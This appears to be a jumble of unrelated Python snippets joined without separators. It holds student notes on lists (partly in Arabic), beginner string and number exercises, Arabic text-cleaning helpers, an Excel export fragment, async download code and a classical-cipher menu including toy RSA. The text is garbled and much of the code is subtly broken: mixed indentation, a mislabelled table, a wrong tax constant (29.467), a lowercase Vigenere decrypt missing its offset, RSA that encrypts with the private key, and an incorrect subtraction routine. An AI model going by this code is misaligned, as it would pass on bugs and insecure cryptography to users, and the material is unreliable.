whenever I want to put a string within a list, I have to put qoutation marks "".
the last item in the list is a list inside another list, I just have to put a square brackets to refer to the list []

another way to print the last item in the list is by using this syntax 
print(monash[-1])

لو كنت ابغى البرنمج يطبع لي العناصر كلها من الأول الى الأخير بدون  ما يتضمن الأخير
print(monash[0:4])

لو كنت حابة اطبع من عند عنصر معين الى نهاية القائمة
print(monash[3:]) 3 العنصر اللي ببدا منه
print(monash[1:])

"""

# لو كنت حابة اغير العنصر الأول
""""
monash[1]= 'ENG1014'
print(monash[1])
monash[0] = 'ENG1005'
print(monash[0])
monash[2] = 'ENG1011'
monash[3] = 'BMS1021'
print(monash)
"""
monash = ["ENG1013","ENG1013", "ENG1012", "ENG1021", "MTH1020", 'Shaghaf']  
rmit = ["Math", 'Physics Basics', 'Introduction to Engineering', 15, True]
# to print out the to lists at the same time use this symtax:
# print(monash, rmit)
""""
functions in lists:
in order to join these two lists in one list, there are 3 ways:

1.  use .extend() function 
the_ma_infunction.extend(the_function_that_you_it_to_be_added)
then print out the main function
monash.extend(rmit)
print(monash)

2. use this syntax: 
monash += rmit
print(monash)

3. use this synatx:
monash = monash + rmit
print(monash)

"""
# to add another item into the list use .append(), then you must print out the new list
# هذه الطريقة تضيف عنصر جديد في نهاية القائمة فقط 
"""
monash.append("ENG111")
print(monash)
monash.append("ENG2000")
print(monash)
monash.append("ENG3000")
 print(monash)

"""

# insert function: تستخد لأضافة عنصر جديد في مكان معين في القائمة 
"""
monash.insert(index location, 'new item')
monaash.insert(1, ENG1015)
print(monash)

"""
 # to remove an item from a list, there are 2 ways:
""""
1. using .remove() function: in the bracket I have to write the the string itself not the index
monash.remove("ENG1021")
print(monash)
2. using .pop() function 
print(monash)

""" 
 # to delete everything inside a list: follow this syntax
"""
monash.clear()
print(monash)
RMIT.clear()
print(rmit)

    """
# In order to delete the last item only: use .pop()
""""
monash.pop()
print(monash)

"""
# Also in pop function I can save what has been poped:
"""
last_item_popped = monash.pop()
print(last_item_popped)

"""
# if I wanna know the items that are duplicated within a list use:
"""
print(monash.count("ENG1013"))
print(listname.count("the item required to be counted"))

"""
# in lists, we can organize the list using .sort() function:
# alphabetically when it comes to strings and from smallest number to the biggest
# This  program that will identify the smallest value in a list of items:

values = [3005,9117,8474,2513,7004,7248,8669,9234,5428,7812,711,3908,5748,969,3296,589,2216,1792,4593,6888,2554,111,8455,8000,9158,2546,1757,6620,375,1521,9712,7185,5841,5699,9175,4525,4157,1622,8131,2736,4735,7740,1261,6249,423,7362,5653,3966,5016,8195,3465,294,7675,3075,7193,6348,2272,30,6390,2976,9344,1565,6988,2458,5365,4121,1695,4752,3251,4600,8490,5179,9572,7384,2990,9094,4746,6487,5948,8607,9311]
minVal = values[0]
# to make sure that the first value is the smallest value, I should compare it whith every single element in the list
for item in values:
    if item<minVal:
        minVal=item
    

print(f"Minimum value in list is {minVal}")
import io

# Export to CSV/Excel file
# Prep file to be saved
data_buffer = io.BytesIO()                                      # "placeholder" to hold data to be added to Excel sheet
writer = pd.ExcelWriter(data_buffer, engine="xlsxwriter")       # # write as Excel file
workbook = writer.book                                          # "create" empty Excel file
worksheet_summary = workbook.add_worksheet("Case " + str(case_n) + " Summary")   # write worksheet tab for "each" case
bold = workbook.add_format({"bold": True})                      # # Enable bold formatting
row = 0                                                         # start at top of Excel file

# Can turn this into a function instead
# Creating Table 1
worksheet_summary.write(row, 0, "Table 1", bold)      			# Table 1 title, bold format
form_start_row = row + 1                                        # go to next row for data
col = 0                                                         # start at leftmost
for each in st.session_state[summary_sess_state]:               # go through each data in form. table
	worksheet_summary.write(form_start_row, col, each)          # write out the header row
    row = form_start_row + 1                                    # go to next row
    for item in range(0, len(st.session_state[summary_sess_state])):  # get each "sub-data" inside the dataframe after the header row
		try: worksheet_summary.write(row, col, st.session_state[summary_sess_state][each][item])    # write the "sub-data" in their respective locations
		except: pass
        row += 1            # go to next row
    col += 1        # go to next col
row += 2                                                        # next 2 rows for next table
    
# Creating Table 2
worksheet_summary.write(row, 0, "Table 1", bold)        		# Table 2 title, bold format
comp_start_row = row + 1                                        # go to next row for data
col = 0                                                         # start at leftmost
for each in summary_table_component_results:                    # go through each data in comp. table
	worksheet_summary.write(comp_start_row, col, each)          # write out the header row
	row = comp_start_row + 1                                    # go to next row
    for item in range(0, len(summary_table_component_results)): # get each "sub-data" inside the dataframe after the header row
    	worksheet_summary.write(row, col, summary_table_component_results[each][item])
        row += 1
    col += 1
row +=1
or Windows User coming to this post, follow these steps:-

You can make sure that pip is up-to-date by running: python -m pip install --upgrade pip

Install virtualenv by running: python -m pip install --user virtualenv

Finally create environment using python -m virtualenv <your env name>
#Individual coding task 2 solution 
#get the current time and greet based on the time 

#get the time in the correct HH:MM format 
currenttime = input("Enter the current time in HH:MM 24 hour format: ")

#split the time into hours and minutes
splittime = currenttime.split(':')

#convert the minutes and hours to numbers 
splittime[0] = int(splittime[0])
splittime[1] = int(splittime[1])

#use the hours(the first part of splittime) to work out the greeting
if splittime[0]<12: #below 12 it is before noon
    print("Good Morning")
elif splittime[0]>=12 and splittime[0]<16: #above 12 and below 16
    print("Good Afternoon")
elif splittime[0]>=16 and splittime[0]<19: #above 16 and below 19
    print("Good Evening")
else: #must be before midnight 
    print("Good Night")
# first step is getting inputs from the user:
firstName = input("Enter your first name: ")
lastName = input("Enter your last name: ")
title = input("Enter your preferred title: ")

# capitalize the first letter only:
firstName = firstName.capitalize()
title = title.capitalize()

# capitalize the whole word:
lastName = lastName.upper()


print(f"Greetings, {title}. {firstName} {lastName}")
def delete_links(input_text):
    pettern  = r'(?i)\b((?:https?://|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“”‘’]))'
    out_text = re.sub(pettern, ' ', input_text)
    return out_text

def delete_repeated_characters(input_text):
    pattern  = r'(.)\1{2,}'
    out_text = re.sub(pattern, r"\1\1", input_text)
    return out_text

def replace_letters(input_text):
    replace = {"أ": "ا","ة": "ه","إ": "ا","آ": "ا","": ""}
    replace = dict((re.escape(k), v) for k, v in replace.items()) 
    pattern = re.compile("|".join(replace.keys()))
    out_text = pattern.sub(lambda m: replace[re.escape(m.group(0))], input_text)
    return out_text

def clean_text(input_text):
    replace = r'[/(){}\[\]|@âÂ,;\?\'\"\*…؟–’،!&\+-:؛-]'
    out_text = re.sub(replace, " ", input_text)
    words = nltk.word_tokenize(out_text)
    words = [word for word in words if word.isalpha()]
    out_text = ' '.join(words)
    return out_text

def remove_vowelization(input_text):
    vowelization = re.compile(""" ّ|َ|ً|ُ|ٌ|ِ|ٍ|ْ|ـ""", re.VERBOSE)
    out_text = re.sub(vowelization, '', input_text)
    return out_text

def delete_stopwords(input_text):
    stop_words = set(nltk.corpus.stopwords.words("arabic") + nltk.corpus.stopwords.words("english"))
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    wnl = nltk.WordNetLemmatizer()
    lemmatizedTokens =[wnl.lemmatize(t) for t in tokens]
    out_text = [w for w in lemmatizedTokens if not w in stop_words]
    out_text = ' '.join(out_text)
    return out_text

def stem_text(input_text):
    st = ISRIStemmer()
    tokenizer = nltk.tokenize.WhitespaceTokenizer()
    tokens = tokenizer.tokenize(input_text)
    out_text = [st.stem(w) for w in tokens]
    out_text = ' '.join(out_text)
    return out_text


def text_prepare(input_text, ar_text):
    out_text = delete_links(input_text)
    out_text = delete_repeated_characters(out_text)
    out_text = clean_text(out_text)
    out_text = delete_stopwords(out_text)
    if ar_text:
        out_text = replace_letters(out_text)
        out_text = remove_vowelization(out_text)
    else:
        out_text = out_text.lower()
    return out_text
# this program will calculate the third side by using phythegrasos theorm:
import math # this is necessary for the formula particularly sqr
sideA = input("Please enter side A: ")
sideB = input("Please enter side B: ")
sideC = input("Please enter side C: ")

# to find which side is empty use if statement and  to refer to empty in coding is ''

if sideA == '':
    sideB = float(sideB)
    sideC = float(sideC)
    sideA = math.sqrt(sideC**2 - sideB**2)
    print(f"Given side C = {sideC} and side B = {sideB}")
    print(f"Calculated Side A as {round(sideA,4)}")
elif sideB == '':
    sideA = float(sideA)
    sideC = float(sideC)
    sideB = math.sqrt(sideC**2 - sideA**2)
    print(f"Given side C = {sideC} and side A = {sideA}")
    print(f"Calculated Side B as {round(sideB,4)}")
else:
    sideA = float(sideA)
    sideB = float(sideB)
    sideC = math.sqrt(sideA**2 + sideB**2)
    print(f"Given side A = {sideA} and side B = {sideB}")
    print(f"Calculated Side C as {round(sideC,4)}")
import math
name = input("Enter your name: ")
taxableIncome = float(input(f"Hi {name}, please enter your taxable income: "))
#round the users income to the lowest whole number 
taxableIncome = math.floor(taxableIncome)
# if statement to dtermine the appropriate tax:
if taxableIncome>=0 and taxableIncome<=18200:
    print(f"{name} has a taxable income of ${taxableIncome}, whith a total amount of $0 tax due.")
elif taxableIncome >= 18201 and taxableIncome <= 45000:
    tax= 0.19*(taxableIncome - 18200)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome >=  45001 and taxableIncome<= 120000:
    tax = 5092+ 0.325*(taxableIncome - 45000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
elif taxableIncome>= 120001 and taxableIncome<= 180000:
    tax = 29.467+0.37*(taxableIncome - 120000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
else:
    tax = 51667+0.45*(taxableIncome - 180000)
    print(f"{name} has a taxable income of ${taxableIncome},with total amount of ${round(tax,2)} tax due.")
def push(stack, item):
    stack.append(item)
    print("Item pushed to stack")


def pop(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        stack.pop()
        print("Item popped from stack")


def peek(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack[-1])


def display(stack):
    if len(stack) == 0:
        print("Stack is empty")
    else:
        print(stack)


def main():
    stack = []
    choice = 0
    while choice != 6:
        print("1. Push")
        print("2. Pop")
        print("3. Peek")
        print("4. Display")
        print("5. Exit")
        choice = int(input("Enter your choice : "))
        if choice == 1:
            item = input("Enter the item to be pushed : ")
            push(stack, item)
        elif choice == 2:
            pop(stack)
        elif choice == 3:
            peek(stack)
        elif choice == 4:
            display(stack)
        elif choice == 5:
            exit()
        else:
            print("Wrong choice")


if __name__ == '__main__':
    main()
def addNums(a,b):
    summa = a + b
    return summa
ARABIC_PUNCTUATION = ':"؟!؛،,.؍, '

def remove_arabic_punctuations(text : str) -> str:
    '''
        text : ", أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "  أَهْلًا وسَهْلًا Hello 212"
    '''
    chars = [char for char in text if (char not in ARABIC_PUNCTUATION)]
    output = ''.join(chars)
    return output
def remove_diacritics(text : str) -> str:
    '''
        text : "أَهْلًا وسَهْلًا Hello 212"
        output : 
            ---> "أهلا وسهلا Hello 212"
    '''
    chars = [char for char in text if (char not in HARAKAT)]
    output = ''.join(chars)
    return output
pip install numpy

a = np.zeros((2, 3))

print(a)
import math
from random import getrandbits


def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a

def modinv(a, m):
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return None

def is_prime(n):
    if n in [2, 3]:
        return True
    if n == 1 or n % 2 == 0:
        return False
    for i in range(3, int(n ** 0.5) + 1, 2):
        if n % i == 0:
            return False
    return True

def generate_keypair(p, q):
    if not (is_prime(p) and is_prime(q)):
        raise ValueError('Both numbers must be prime.')
    elif p == q:
        raise ValueError('p and q cannot be equal')

    n = p * q
    phi = (p - 1) * (q - 1)

    e = getrandbits(phi.bit_length())
    g = gcd(e, phi)
    while g != 1:
        e = getrandbits(phi.bit_length())
        g = gcd(e, phi)

    d = modinv(e, phi)

    return ((e, n), (d, n))

def encrypt4(pk, plaintext):
    key, n = pk
    cipher = [(ord(char) ** key) % n for char in plaintext]
    return cipher

def decrypt4(pk, ciphertext):
    key, n = pk
    plain = [chr((char ** key) % n) for char in ciphertext]
    return ''.join(plain)

def encryptMessage(key, message):
    
    cipherText = [""] * key
    for col in range(key):
        pointer = col
        while pointer < len(message):
            cipherText[col] += message[pointer]
            pointer += key
    return "".join(cipherText)

def decryptMessage(key, message):
    
    numCols = math.ceil(len(message) / key)
    numRows = key
    numShadedBoxes = (numCols * numRows) - len(message)
    plainText = [""] * numCols
    col = 0
    row = 0
 
    for symbol in message:
        plainText[col] += symbol
        col += 1
 
        if (
            (col == numCols)
            or (col == numCols - 1)
            and (row >= numRows - numShadedBoxes)
        ):
            col = 0
            row += 1
 
    return "".join(plainText)
    
x = 1
while(x==1):
    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.RSA \n 5.Transposition Cipher \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
    
    elif Choice == 4:
        print("1.Encrypt or Decrypt message after key generation")
        opt = int(input("Choose one option from above: "))
        
        if opt == 1:
            p = int(input("Enter a prime number (17, 19, 23 etc): "))
            q = int(input("Enter another prime number (Not one you entered above): "))
            print("Generating your public and private keypairs...")
            public, private = generate_keypair(p, q)
            print("Your public key = ", public, " and your private key = ", private)
            message = input("Enter a message to encrypt with your key: ")
            encrypted_msg = encrypt4(private, message)
            print("Your encrypted message is: ")
            print(''.join(map(lambda x: str(x), encrypted_msg)))
            print("Your message is:")
            print(decrypt4(public, encrypted_msg))
        
        else:
            print("You entered a wrong option")
    
    elif Choice == 5:
        print("1.Encryption \n 2.Decryption")
        option = int(input("\nChoose one option from above: "))

        if option == 1:
            message = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(message) - 1)))
            text = encryptMessage(key, message)
            print("Your encrypted message = ",text)
        elif option == 2:
            cipher = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(cipher) - 1)))
            text = decryptMessage(key, cipher)
            print("Your encrypted message = ",text)
        
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
# if order of characters is important

string=input('enter string:')
new=''
for i in string:
    if i not in new:
        new+=i
print(new)

# if order of characters is not important

s=set()
for i in string:
    s.add(i)
lis=''
for i in s:
    lis+=i
print(lis)
string1=input('enter first string:')
string2=input('enter second string:')
string=''.join([string1,string2])
print('string concatenation without join method:',string1+string2)
print('string concatenation using join method:',string)
string=input('enter string:')
new=''
for i in string:
    if i!=' ':
        new+=i
print('string after removing spaces:',new)
string=input('enter string:')
lis=[]
for i in string:
    lis.append(i)
print(lis)

(OR)

print(list(string))
string=input('enter string:')
alpha=0
digits=0
special=0
for i in string:
    if i.isdigit():
        digits+=1
    elif i.isalpha():
        alpha+=1
    else:
        special+=1
print('digits:',digits,'alphabets:',alpha,'special character:',special)
string=input('enter string:')
new=''
lis=['a','e','o','i','u']
for i in range(len(string)):
    if string[i].lower() in lis:
        new+='_'
        new+=string[i+1:]
        break
    else:
        new+=string[i]
print(new)
string=input('enter string:')
count=0
char=''
for i in set(string):
    if string.count(i)>count:
        count=string.count(i)
        char=i
print(char)
string=input('enter string:')
vowels=0
consonants=0
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        vowels+=1
    else:
        consonants+=1
print('In',string,'there are',vowels,'vowels and',consonants,'are there',)
string=input('enter string:')
new=''
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        i='' # continue
    new+=i
print('The string after removing vowels is',new)
string=input('enter string:')
new=''
for i in string:
    if i.isupper():
        i=i.lower()
    new+=i
print('Lower Case String is',new)
string=input('enter string:')
new=''
for i in string:
    if i.islower():
        i=i.upper()
    new+=i
print('Uppercase String is',new)
from django.contrib import admin

class RelationAdmin(admin.ModelAdmin):
       raw_id_fields = ('Media','Particle',)

admin.site.register(Relation, RelationAdmin)
string=input('enter string:')
char=input('enter character to replace space:')
modify_String=string.replace(' ',char)
print('After Replacing space with',char,'string will be',modify_String)

(OR)

string=input('enter string:')
char=input('enter character to replace space:')
concate=''
for i in string:
    if i==' ':
        i=char
    concate+=i
print('After Replacing space with',char,'string will be',concate)
    
(OR)

string=input('enter string:')
char=input('enter character to replace space:')
print('After Replacing space with',char,'string will be',char.join(string.split()))


char=input('enter character:')
if '0'<=char<='9':
    print(char,'is digit')
else:
    print(char,'is not digit')
    
(OR)
    
char=input('enter character:')
if 48<=ord(char)<=57:
    print(char,'is digit')
else:
    print(char,'is not digit')

(OR)

char=input('enter character:')
if char.isdigit():  # isdigit() is a method to find digit or not it returns true and false
    print(char,'is digit')
else:
    print(char,'is not digit')
char=input('enter character:')
lis=['a','e','i','o','u']
if char.lower() in lis:
    print(char,'is vowel')
else:
    print(char,'is consonant')

(OR)

char=input('enter character:')
if char=='a' or char=='e' or char=='i' or char=='o' or char=='u' or char=='A' or char=='E' or char=='I' or char=='O' or char=='U':
    print(char,'is vowel')
else:
    print(char,'is consonant')
string=input('enter string:')
if string==string[::-1]:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
if string==''.join(reversed(string)):
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
reverse=''
for i in string:
    reverse=i+reverse
if string==reverse:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
for i in range(len(string)//2):
    if string[i]!=string[len(string)-i-1]:
        print(string,'is not palindrome')
        break
else:
    print(string,'is palindrome')
string1=input('enter first string:')
string2=input('enter second string:')
string1=string1.lower()
string2=string2.lower()
if sorted(string1)==sorted(string2):
    print('string1 and string2 are anagrams')
else:
    print('string1 and string2 are not anagrams')
string=input('enter string:')
char=input('enter character you want to count:')
count=0
for i in string:
    if i==char:
        count+=1
print('The number of occurance of character',char,'is',count)
string=input('enter string:')
char=input('enter character you want to remove:')
strr=string.replace(char,'')
print('string after removing',char,'character: ',strr)
def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
x = 1
while(x==1):
    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.Transposition Cipher \n 5.RSA \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
            
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
num = int(input("enter number:"))

print("square of",num,'is',num*num) # normal

print('square of',num,'is',pow(num,2)) # using pow() function

print('square of',num,'is',num**2) # using exponent operator

print("cube of",num,'is',num*num*num) # normal

print('cube of',num,'is',pow(num,2)*num) # using pow() function

print('cube of',num,'is',num**2*num) # using exponent operator
# using pow() function

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
print(base,"to power ",exponent,"=",pow(base,exponent))


( OR )

# using for loop (iterative method)

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
power=1
for i in range(1,exponent+1):
    power*=base
print(base,"to power ",exponent,"=",power)
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1<=n2 and n1<=n3:
    small=n1
elif n2<=n1 and n2<=n3:
    small=n2
else:
    small=n3
print('minimum value is',small)
low=int(input('enter lower range:'))
high=int(input('enter heigher range:'))
for i in range(low,high+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
n=int(input('enter number:'))
for i in range(2,n+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
(OR)


def prime(n):
    if n<2:
        return 0
    else:
        for i in range(2,n//2+1):
            if n%i==0:
                return 0
        return 1

n=int(input('enter number:'))
for i in range(1,n+1):
    if prime(i):
        print(i,end=' ')
n=int(input('enter number:'))
if n%2==0:
    print(n,'is even number')
else:
    print(n,'is odd number')
def fact(n):
    if n==1:
        return 1
    else:
        return n*fact(n-1)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(n,'!=',fact(n))
    
n=int(input('enter number:'))
if n<0:
    print('enter positive number')
elif n==0:
    print(0,'!=',1)
else:
    factorial=1
    for i in range(1,n+1):
        factorial=factorial*i
    print(n,'!=',factorial)
arr=list(map(int,input('enter values to array:').split()))
summ=sum(arr)
length=len(arr)
average=summ/length
print(average)
n=int(input('enter number:'))
summ=0
for i in range(1,n): # (1,n//2+1) all factors b/w 1 and half of number if excludes n itself
    if n%i==0:
        summ+=i
if summ==n:
    print(n,'is perfect number')
else:
    print(n,'is not perfect number')
#by using increment

n1=int(input('enter first number:')) 
n2=int(input('enter second number:')) 
for i in range(1,n2+1): 
    n1+=1
print(n1)

#by using AND (&) and XOR(A)

n1=int(input('enter first number:')) 
n2=int(input('enter second number:'))
while(n2!=0): 
    carry=n1&n2
    n1=n1^n2
    n2=carry<<1
print(n1)

#Subtraction without '-' operator

n1=int(input('enter first number:'))
n2=int(input('enter second number:')) 
while(n2!=0):
    n1=n1^n2
    carry=n1&n2 
    n2=carry<<1
print(n1)
async def async_http_download(src_url, dest_file, chunk_size=65536):
    async with aiofiles.open(dest_file, 'wb') as fd:
        async with aiohttp.ClientSession() as session:
            async with session.get(src_url) as resp:
                async for chunk in resp.content.iter_chunked(chunk_size):
                    await fd.write(chunk)
import asyncio
import concurrent.futures
import requests

async def main():

    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:

        loop = asyncio.get_event_loop()
        futures = [
            loop.run_in_executor(
                executor, 
                requests.get, 
                'http://example.org/'
            )
            for i in range(20)
        ]
        for response in await asyncio.gather(*futures):
            pass


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
temp=n1
n1=n2
n2=temp
print('After Swapping: n1=',n1,'n2=',n2)

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1=n1+n2
n2=n1-n2
n1=n1-n2
print('After Swapping: n1=',n1,'n2=',n2)

(OR)

# This will used for any datatype like strings also

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1,n2=n2,n1
print('After Swapping: n1=',n1,'n2=',n2)
# input as Number

n=int(input('enter number:'))
temp=n
while(n!=0):
    rem=n%10
    if rem!=0 and rem!=1:
        print(temp,'is not Binary Number')
        break
    n=n//10
else:
    print(temp,'is Binary Number')
    
    
(OR)

# input as String

n=input('enter number:')
lis=['1','0']
for i in n:
    if i not in lis:
        print(n,'is not Binary Number')
        break
else:
    print(n,'is Binary Number')
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1>=n2 and n1>=n3:
    maxi=n1
elif n2>=n1 and n2>=n3:
    maxi=n2
else:
    maxi=n3
print('maximum value is',maxi)

(OR)

# using ternary operator

maxi=n1 if n1>=n2 else n2
maxi= maxi if maxi>=n3 else n3
print('maximum value is',maxi)
n=int(input('enter number:'))
temp,reverse=n,0
while(n!=0):
    rem=n%10
    reverse=(reverse*10)+rem
    n=n//10
if temp==reverse:
    print(temp,'is Palindrome Number')
else:
    print(temp,'is not Palindrome Number')

(OR)

n=int(input('enter number:'))
reverse=int(str(n)[::-1])
if n==reverse:
    print(n,'is Palindrome Number')
else:
    print(n,'is not Palindrome Number')
def fibonacci(n):
    if n<=1:
        return n
    return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(fibonacci(n))
    
# Fibonacci term always starts with 0
def fibonacci(n):
    if n==0:
        return 0
    elif n==1:
        return 1
    else:
        return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print('Fibonacci Series: ',end='')
    for i in range(n):
        print(fibonacci(i),end=' ')
n=int(input('enter number:'))
if n==1:
    print(1,'is not prime number because it has only one factor')
else:
    for i in range(2,n): # (2,n//2)
        if n%i==0:
            print(n,'is not prime number')
            break
    else:
        print(n,'is prime number')
n=int(input('enter number:'))
temp=n
length=len(str(n))
summ=0
while(n!=0):
    rem=n%10
    summ=summ+rem**length # pow(rem,length)
    n=n//10
if summ==temp:
    print('It is Armstrong Number')
else:
    print('It is not Armstrong Number')
n=int(input('enter number:'))
reverse=0
while(n!=0):
    rem=n%10
    reverse=reverse*10+rem
    n=n//10
print(reverse)

(OR)

n=int(input('enter number'))
print(int(str(n)[::-1]))
n=int(input('enter number:'))
num1,num2=0,1
print(num1,num2,end=' ')
for i in range(2,n):
    num3=num1+num2
    num1=num2
    num2=num3
    print(num3,end=' ')
def count_partitions(n, m):
  if (n == 0 ): 
    return 1 # there is only 1 way i.e. to leave it unpartitioned
  if (m == 0 or n < 0):
    return 0 # there is no way to divide n into 0 partions or if n is -ve (latter one from edge case of recursion call of n - m)
  else:
    return count_partitions(n - m, m) + count_partitions(n, m - 1)

print(count_partitions(9, 5)) # 23
  
def uniquePaths(n, m):
  if (n == 1 or m == 1):
    return 1
  else:
